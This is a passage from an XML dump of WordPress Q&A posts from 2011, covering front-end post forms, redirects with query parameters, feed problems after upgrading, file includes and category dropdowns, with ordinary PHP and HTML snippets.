&lt;/p&gt;&#xA;" OwnerUserId="3536" LastEditorUserId="3536" LastEditorDisplayName="" LastEditDate="2011-03-01T18:34:12.220" LastActivityDate="2011-03-01T18:34:12.220" Title="The super admin cannot update or create users, How do I fix this?" Tags="&lt;users&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="10551" PostTypeId="2" ParentId="10544" CreationDate="2011-02-26T18:07:05.057" Score="3" ViewCount="" Body="&lt;p&gt;It looks like &lt;a href=&quot;http://gravityforms.com&quot; rel=&quot;nofollow&quot;&gt;Gravity Forms&lt;/a&gt; can do this. I just did a quick search on the support forums and found this, an answer to someone asking almost exactly the same question as you:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Gravity Forms can be used to create&#xA;  custom post types as well as custom&#xA;  taxonomies, however it doesn't do so&#xA;  out of the box. It requires the use of&#xA;  available hooks to tell Gravity Forms&#xA;  to use a custom post type or custom&#xA;  taxonomy instead of the default. By&#xA;  default it uses standard WordPress&#xA;  Posts, Categories and Tags.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;So yes it is possible, but it does&#xA;  take some custom code. When you are&#xA;  ready to implement this you can search&#xA;  the forums for code examples as many&#xA;  people have done this, or you can post&#xA;  a new post describing what you are&#xA;  trying to do and request some&#xA;  assistance and we can assist you with&#xA;  basic code snippets to get you&#xA;  started.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We do plan on creating an Add-On in&#xA;  the future that will make it much&#xA;  easier to create custom post types and&#xA;  use custom taxonomies.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2877" LastActivityDate="2011-02-26T18:07:05.057" CommentCount="1" />
  <row Id="10552" PostTypeId="2" ParentId="10544" CreationDate="2011-02-26T18:09:14.040" Score="3" ViewCount="" Body="&lt;p&gt;there are some free plugins that let you submit posts from frontend:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/tdo-mini-forms/&quot; rel=&quot;nofollow&quot;&gt;TDO mini forms&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/post-from-site/&quot; rel=&quot;nofollow&quot;&gt;Post From Site&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/one-quick-post/&quot; rel=&quot;nofollow&quot;&gt;One Quick Post&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and a better paid one would be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.gravityforms.com/&quot; rel=&quot;nofollow&quot;&gt;Gravity Forms&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But none of them will give you the flexibility as a custom coding to your needs,&#xA;and really a post from front end is a matter of displaying a form and processing it ,so following your use case your form would be something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- New game Post Form --&amp;gt;&#xA;&amp;lt;div id=&quot;postbox&quot;&amp;gt;&#xA;&amp;lt;form id=&quot;new_post&quot; name=&quot;new_post&quot; method=&quot;post&quot; action=&quot;&quot;&amp;gt;&#xA;&#xA;&amp;lt;!-- game name --&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;title&quot;&amp;gt;Game name&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; id=&quot;title&quot; value=&quot;&quot; tabindex=&quot;1&quot; size=&quot;20&quot; name=&quot;title&quot; /&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;!-- game platform assuming that the taxonomy is named platform --&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;Platform&quot;&amp;gt;Platform:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;?php wp_dropdown_categories( 'show_option_none=Platform&amp;amp;tab_index=4&amp;amp;taxonomy=platform' ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;!-- game Category --&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;Category&quot;&amp;gt;Category:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;?php wp_dropdown_categories( 'show_option_none=Category&amp;amp;tab_index=4&amp;amp;taxonomy=category' ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;!-- game post type assuming that the post types are named: review,tutorial,cheat_list--&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;post_type&quot;&amp;gt;This is a:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;select name=&quot;post_type&quot; id=&quot;post_type&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;review&quot;&amp;gt;Review&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;tutorial&quot;&amp;gt;Tutorial&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;cheat_list&quot;&amp;gt; Cheat list&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;!-- game Content --&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;description&quot;&amp;gt;Content&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;textarea id=&quot;description&quot; tabindex=&quot;3&quot; name=&quot;description&quot; cols=&quot;50&quot; rows=&quot;6&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;!-- game tags --&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;post_tags&quot;&amp;gt;Tags:&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; value=&quot;&quot; tabindex=&quot;5&quot; size=&quot;16&quot; name=&quot;post_tags&quot; id=&quot;post_tags&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p align=&quot;right&quot;&amp;gt;&amp;lt;input type=&quot;submit&quot; value=&quot;Publish&quot; tabindex=&quot;6&quot; id=&quot;submit&quot; name=&quot;submit&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;new_game_post&quot; /&amp;gt;&#xA;&amp;lt;?php wp_nonce_field( 'new-post' ); ?&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and your form processing would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( 'POST' == $_SERVER['REQUEST_METHOD'] &amp;amp;&amp;amp; !empty( $_POST['action'] ) &amp;amp;&amp;amp;  $_POST['action'] == &quot;new_game_post&quot;) {&#xA;&#xA;    // Do some minor form validation to make sure there is content&#xA;    if (isset ($_POST['title'])) {&#xA;        $title =  $_POST['title'];&#xA;    } else {&#xA;        echo 'Please enter a game  title';&#xA;    }&#xA;    if (isset ($_POST['description'])) {&#xA;        $description = $_POST['description'];&#xA;    } else {&#xA;        echo 'Please enter the content';&#xA;    }&#xA;    $tags = $_POST['post_tags'];&#xA;&#xA;    // Add the content of the form to $post as an array&#xA;    $new_post = array(&#xA;        'post_title'    =&amp;gt; $title,&#xA;        'post_content'  =&amp;gt; $description,&#xA;        'post_category' =&amp;gt; array($_POST['cat']),  // Usable for custom taxonomies too&#xA;        'tags_input'    =&amp;gt; array($tags),&#xA;        'post_status'   =&amp;gt; 'publish',           // Choose: publish, preview, future, draft, etc.&#xA;        'post_type' =&amp;gt; $_POST['post_type']  // Use a custom post type if you want to&#xA;    );&#xA;    //save the new post&#xA;    $pid = wp_insert_post($new_post); &#xA;    //insert taxonomies&#xA;    wp_set_post_terms($pid,array($_POST['Platform']),'platform',true);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;its not perfect but its a start and you should get the idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-26T18:09:14.040" CommentCount="3" />
  <row Id="10553" PostTypeId="1" CreationDate="2011-02-26T18:20:23.217" Score="0" ViewCount="86" Body="&lt;p&gt;My redirection are working until parameters are added to the end of the source URL. What will be the proper way of implementing a redirect were the target will be a different URL but I want to pass the parameters untouched.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.kiragiannis.com/2009/03/windows-restarts-at-ec2.html?action=backlinks&amp;amp;widgetId=Blog1&amp;amp;widgetType=Blog&amp;amp;responseType=js&amp;amp;postID=5852350893114831887&quot; rel=&quot;nofollow&quot;&gt;Post with Parameters goes to 404 page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.kiragiannis.com/cloud-computing/windows-restarts-at-ec2/&quot; rel=&quot;nofollow&quot;&gt;Same post without parameters redirects properly&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the following pluging for the redirects:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/redirection/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/redirection/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3536" LastActivityDate="2011-02-27T06:08:10.540" Title="How to make a url with parameters to work?" Tags="&lt;plugins&gt;&lt;errors&gt;&lt;redirect&gt;&lt;plugin-redirection&gt;" AnswerCount="1" />
  <row Id="10554" PostTypeId="1" CreationDate="2011-02-26T18:13:20.780" Score="1" ViewCount="369" Body="&lt;p&gt;all, after upgrading to wordpress 3.1, feedburner can't burn my feed, and I can't see any post update from my google reader subscribing. what's the problem? &lt;/p&gt;&#xA;" OwnerUserId="596" LastActivityDate="2011-08-07T17:20:36.680" Title="After upgrading to wordpress 3.1, feedburner can't burn my feed" Tags="&lt;feedburner&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="1" />
  <row Id="10555" PostTypeId="2" ParentId="10546" CreationDate="2011-02-26T18:46:37.593" Score="3" ViewCount="" Body="&lt;p&gt;For a one-off batch operation, you can use this plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/add-from-server/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/add-from-server/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But first you should figure out why they don't show up in the first place. Maybe complain to the theme developer.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-02-26T18:46:37.593" CommentCount="2" />
  <row Id="10556" PostTypeId="2" ParentId="10550" CreationDate="2011-02-26T19:15:28.190" Score="1" ViewCount="" Body="&lt;p&gt;The only part of code this message can come from is &lt;code&gt;user-edit.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$current_user = wp_get_current_user();&#xA;if ( ! defined( 'IS_PROFILE_PAGE' ) )&#xA;    define( 'IS_PROFILE_PAGE', ( $user_id == $current_user-&amp;gt;ID ) );&#xA;&#xA;if ( ! $user_id &amp;amp;&amp;amp; IS_PROFILE_PAGE )&#xA;    $user_id = $current_user-&amp;gt;ID;&#xA;elseif ( ! $user_id &amp;amp;&amp;amp; ! IS_PROFILE_PAGE )&#xA;    wp_die(__( 'Invalid user ID.' ) );&#xA;elseif ( ! get_userdata( $user_id ) )&#xA;    wp_die( __('Invalid user ID.') );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd try something like this for starters to check that data about used is being retrieved properly with API.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_init','dump_user');&#xA;&#xA;function dump_user() {&#xA;&#xA;    var_dump( IS_PROFILE_PAGE );&#xA;    var_dump( $user = wp_get_current_user() );&#xA;    var_dump( get_userdata($user-&amp;gt;ID) );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-26T19:15:28.190" CommentCount="4" />
  <row Id="10557" PostTypeId="2" ParentId="10505" CreationDate="2011-02-26T19:21:36.080" Score="0" ViewCount="" Body="&lt;p&gt;Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$results = $wpdb-&amp;gt;get_results('SELECT * FROM tracking;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wpdb_Class#SELECT_Generic_Results&quot; rel=&quot;nofollow&quot;&gt;SELECT generic results&lt;/a&gt; in Codex for details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure on how to best implement link to this, page with custom named template might do the trick.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-26T19:21:36.080" />
  <row Id="10558" PostTypeId="1" CreationDate="2011-02-26T19:41:58.293" Score="0" ViewCount="61" Body="&lt;p&gt;I have a post that includes a relatively large table that gets updated frequently. Instead of using the (slower) web interface to update the post each time, I installed one of the “run PHP” plugins and put a short bit of PHP code in the table body that opens an external file on the server and puts that in the table in the post. This way, I can edit the file locally in a responsive text-editor as needed and the change is reflected immediately when the the page is served (and without requiring any changes to any of the WordPress tables).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works pretty well and I am generally satisfied with it, but there is a small catch in that the path to the external text-file is relative to the store on the server (I used the media-library manager to store it, and because I’m using the multi-site feature and PHP is server-side, the path is of the form &lt;code&gt;&quot;wp-content/blogs.dir/1/files/2011/02/foobar.txt&quot;&lt;/code&gt;). The paths to other files like images that client-side code like JavaScript uses is relative to the URL. This is obviously not ideal for several reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I’ve got two questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is there a better way to include external content in a post than using PHP?&lt;/li&gt;&#xA;&lt;li&gt;(well, 1b.) If not, is there a better—ie, more consistent—way of accessing the files? (That is, a way to have PHP use URL-relative paths instead of server-relative paths?)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&#xA;&lt;strong&gt;Clarification:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the post, I have something like this (code is off the top of my head, so ignore any errors):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;…&#xA;  &amp;lt;table&amp;gt;&#xA;    &amp;lt;thead&amp;gt;&amp;lt;th&amp;gt;foo&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;bar&amp;lt;/th&amp;gt;&amp;lt;thead&amp;gt;&#xA;    &amp;lt;tbody&amp;gt;&#xA;      &amp;lt;?php&#xA;       $fn  =&quot;wp-content/blogs.dir/1/files/2011/02/foobar.txt&quot;;&#xA;       $fh  =fopen($fn, &quot;r&quot;);&#xA;       $data=fread($fh, filesize($fn)); //no clearstatcache; TXT file is not updated *that* often&#xA;       print($data);&#xA;       fclose($fh);&#xA;      ?&amp;gt;&#xA;    &amp;lt;tbody&amp;gt;&#xA;  &amp;lt;/table&amp;gt;&#xA;…&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where the text file contains something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Blah&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;123&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Foobar&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;asd&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Test&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;555&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;…&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When the page is served, the PHP in the post is executed and pulls in the table rows from the external file, picking up any changes I made externally to it without having to go through WordPress to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also some JavaScript before the table that deals sets some images according to a switch statement—the images were imported with the media library—something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;case 'a': element.style.backgroundImage='url(/blogs/foobar/files/2011/02/A.png)'; break;&#xA;case 'b': element.style.backgroundImage='url(/blogs/foobar/files/2011/02/B.png)'; break;&#xA;…&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="121" LastEditorUserId="121" LastEditorDisplayName="" LastEditDate="2011-02-27T01:06:48.897" LastActivityDate="2011-08-27T02:35:16.257" Title="Including an External File in a Post (and Using Processed Paths)" Tags="&lt;custom-post-types&gt;&lt;custom-content&gt;&lt;include&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="10559" PostTypeId="1" AcceptedAnswerId="11521" CreationDate="2011-02-26T20:35:54.780" Score="0" ViewCount="108" Body="&lt;p&gt;I would like to know if it's possible to create a gallery like that one using wordpress: &#xA;&lt;a href=&quot;http://jfdelsalle.com/naaman.swf&quot; rel=&quot;nofollow&quot;&gt;http://jfdelsalle.com/naaman.swf&lt;/a&gt;&#xA;Is there any plugin close to that ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1796" LastActivityDate="2011-03-08T21:45:59.687" Title="JQuery Wordpress gallery" Tags="&lt;plugins&gt;&lt;3.0&gt;&lt;jquery&gt;&lt;gallery&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="10560" PostTypeId="2" ParentId="7919" CreationDate="2011-02-26T21:09:14.407" Score="0" ViewCount="" Body="&lt;p&gt;Use &lt;code&gt;get_comments()&lt;/code&gt; - &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_comments&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_comments&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$comments = get_comments('post_id=15');&#xA;foreach($comments as $comment) :&#xA;    echo($comment-&amp;gt;comment_author);&#xA;endforeach;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-02-26T21:09:14.407" />
  <row Id="10561" PostTypeId="1" AcceptedAnswerId="10589" CreationDate="2011-02-26T22:31:32.643" Score="1" ViewCount="571" Body="&lt;p&gt;i'm listing all posts of my custom post type &quot;person&quot; alphabetically sorted by the custom field &lt;code&gt;last_name&lt;/code&gt; on a page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How would i insert a divider (e.g. an image of the letter) before a letter range starts?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what i'm trying to do:   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/xA3sc.jpg&quot; alt=&quot;alphabetical list with dividers&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;br&gt;&#xA;Here's the code i'm using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;list-ensemble&quot;&amp;gt;&#xA;&amp;lt;?php query_posts('post_type=person&amp;amp;post_status=publish&amp;amp;meta_key=last_name&amp;amp;orderby=meta_value&amp;amp;order=ASC'); &#xA;if ( have_posts() ) while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;    &amp;lt;li data-id=&quot;&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; class=&quot;ensemble-single-link&quot;&amp;gt;&#xA;            &amp;lt;?php if ( has_post_thumbnail() ) { the_post_thumbnail(thumbnail); } ?&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endwhile; // end of the loop. ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3480" LastEditorUserId="3480" LastEditorDisplayName="" LastEditDate="2011-02-27T13:31:25.960" LastActivityDate="2011-02-27T13:31:25.960" Title="Sort posts alphabetically by custom field value, insert divider between different letters" Tags="&lt;query-posts&gt;&lt;wp-query&gt;&lt;sort&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="10562" PostTypeId="1" AcceptedAnswerId="10722" CreationDate="2011-02-26T23:04:08.577" Score="0" ViewCount="157" Body="&lt;p&gt;When I assign a post to two categories always one of categories becomes the main category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to specify which category out of the two or more is the main category not a secondary category?&lt;/p&gt;&#xA;" OwnerUserId="2313" LastActivityDate="2011-02-28T16:39:52.577" Title="If a post belongs to two categories how do I choose the main category?" Tags="&lt;categories&gt;" AnswerCount="2" />
  <row Id="10563" PostTypeId="2" ParentId="10562" CreationDate="2011-02-26T23:13:41.897" Score="1" ViewCount="" Body="&lt;p&gt;What do you mean by &lt;em&gt;main&lt;/em&gt;? I don't think there is such concept in post's data, but it may look like it for some purposes (for example category in permalink). Categories are retrieved in certain order - likely in order they are stored in database, equals order they were created in.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-26T23:13:41.897" CommentCount="2" />
  <row Id="10564" PostTypeId="1" AcceptedAnswerId="10575" CreationDate="2011-02-26T23:59:46.623" Score="0" ViewCount="511" Body="&lt;p&gt;i am serching a WP function that controls is there any child category/ies of current category (in category.php outside of the loop) and if there is, just add link list for that category/ies to page, otherwise (there is no child category for current) list all post(s) in this category.&#xA;Thanks in advance...&lt;/p&gt;&#xA;" OwnerUserId="3405" LastActivityDate="2011-02-27T07:54:50.240" Title="Check child/parent categories if exists" Tags="&lt;categories&gt;&lt;posts&gt;&lt;list&gt;&lt;functions&gt;" AnswerCount="1" />
  <row Id="10565" PostTypeId="2" ParentId="10537" CreationDate="2011-02-27T00:40:03.890" Score="5" ViewCount="" Body="&lt;p&gt;Use a global var?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'template_include', 'var_template_include', 1000 );&#xA;function var_template_include( $t ){&#xA;    $GLOBALS['current_theme_template'] = basename($t);&#xA;    return $t;&#xA;}&#xA;&#xA;function get_current_template( $echo = false ) {&#xA;    if( !isset( $GLOBALS['current_theme_template'] ) )&#xA;        return false;&#xA;    if( $echo )&#xA;        echo $GLOBALS['current_theme_template'];&#xA;    else&#xA;        return $GLOBALS['current_theme_template'];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then call &lt;code&gt;get_current_template&lt;/code&gt; wherever you need it in the theme files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For page templates there's &lt;code&gt;is_page_template()&lt;/code&gt;.&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_page_template&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/is_page_template&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-02-27T00:40:03.890" CommentCount="2" />
  <row Id="10566" PostTypeId="1" AcceptedAnswerId="10577" CreationDate="2011-02-27T02:16:47.143" Score="0" ViewCount="194" Body="&lt;p&gt;I would like to know if it's possible to add taxonomies in the user profile, without hacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I have been able to add taxonomies to custom post types and all, but now I would like to add it to the user profile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to add custom fields to the user profile, but so far failed on taxonomies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest I got to find a solution was: &lt;a href=&quot;http://wordpress.org/support/topic/applying-custom-taxonomies-to-user-profiles&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/applying-custom-taxonomies-to-user-profiles&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a newbie trying to find it there is a better solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for reading and helping out.&lt;/p&gt;&#xA;" OwnerUserId="3540" LastActivityDate="2011-03-29T08:38:34.387" Title="Is it possible to add taxonomies to user profiles?" Tags="&lt;custom-taxonomy&gt;&lt;users&gt;" AnswerCount="1" />
  <row Id="10567" PostTypeId="2" ParentId="29" CreationDate="2011-02-27T02:56:27.930" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://yesshowcase.yeswordpress.com&quot; rel=&quot;nofollow&quot;&gt;http://yesshowcase.yeswordpress.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are looking for a portfolio or showcase theme, it may be perfect.&lt;/p&gt;&#xA;" LastActivityDate="2011-02-27T02:56:27.930" CommunityOwnedDate="2011-02-27T02:56:27.930" />
  <row Id="10568" PostTypeId="1" AcceptedAnswerId="10607" CreationDate="2011-02-27T03:13:46.347" Score="1" ViewCount="184" Body="&lt;p&gt;I run WP for my photoblog &lt;a href=&quot;http://inversekarma.in/photos/&quot; rel=&quot;nofollow&quot;&gt;ShutterScape&lt;/a&gt; using the awesome theme AutoFocus+. Recently, I upgraded to 3.1 and now, it refuses to show the featured images in the individual post pages. I am suspecting a jQuery conflict, as the Error Console shows this error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error: a.attributes is null&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can someone provide some pointers to fixing this error?&lt;/p&gt;&#xA;" OwnerUserId="1606" LastActivityDate="2011-02-27T19:16:41.607" Title="WP 3.1 upgrade breaks AutoFocus+ theme" Tags="&lt;theme-development&gt;&lt;themes&gt;&lt;jquery&gt;&lt;upgrade&gt;&lt;3.1&gt;" AnswerCount="1" />
  <row Id="10569" PostTypeId="1" AcceptedAnswerId="10645" CreationDate="2011-02-27T03:41:56.557" Score="0" ViewCount="59" Body="&lt;p&gt;&lt;a href=&quot;http://anasianscreations.co.cc/jeffman/blog/uncategorized/hello-world/&quot; rel=&quot;nofollow&quot;&gt;http://anasianscreations.co.cc/jeffman/blog/uncategorized/hello-world/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked all day for a solution but whenever you click on reply to this comment, instead of the comment box being displayed underneath you are redirected to the anchor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also when I am in this theme, and you reply to a post, it does not register as a reply to a reply, instead it is just a regular reply. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no doubt that I have missed something, can somebody point me in the right direction?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2011-02-28T01:05:38.987" Title="Fix threaded comments" Tags="&lt;themes&gt;&lt;comment-form&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="10570" PostTypeId="1" CreationDate="2011-02-27T04:19:16.073" Score="3" ViewCount="778" Body="&lt;p&gt;I'm using WordPress as a CMS and would like to have categories selectable from multiple selections i.e &lt;code&gt;&amp;lt;option&amp;gt;&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/b97Wg.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;http://i.stack.imgur.com/KrA6n.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a usage example, The first dropdown would contain parent categories. Then after selecting the parent a second select drop-down would appear with the child categories. There are a few plugins available on Wordpress.org but they all seem to be broken or out of date. Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Broken plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/ajax-category-dropdown/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/ajax-category-dropdown/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code I'm using from wordpress.org&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;&amp;lt;?php bloginfo('url'); ?&amp;gt;/&quot; method=&quot;get&quot;&amp;gt;&#xA;    &amp;lt;?php&#xA;    $select = wp_dropdown_categories('orderby=name&amp;amp;echo=0&amp;amp;depth=0&amp;amp;hierarchical=1&amp;amp;exclude=5,4');&#xA;    $select = preg_replace(&quot;#&amp;lt;select([^&amp;gt;]*)&amp;gt;#&quot;, &quot;&amp;lt;select$1 onchange='return this.form.submit()'&amp;gt;&quot;, $select);&#xA;    echo $select;&#xA;    ?&amp;gt;&#xA;    &amp;lt;noscript&amp;gt;&amp;lt;input type=&quot;submit&quot; value=&quot;View&quot; /&amp;gt;&amp;lt;/noscript&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3296" LastEditorUserId="3296" LastEditorDisplayName="" LastEditDate="2011-04-25T22:17:04.687" 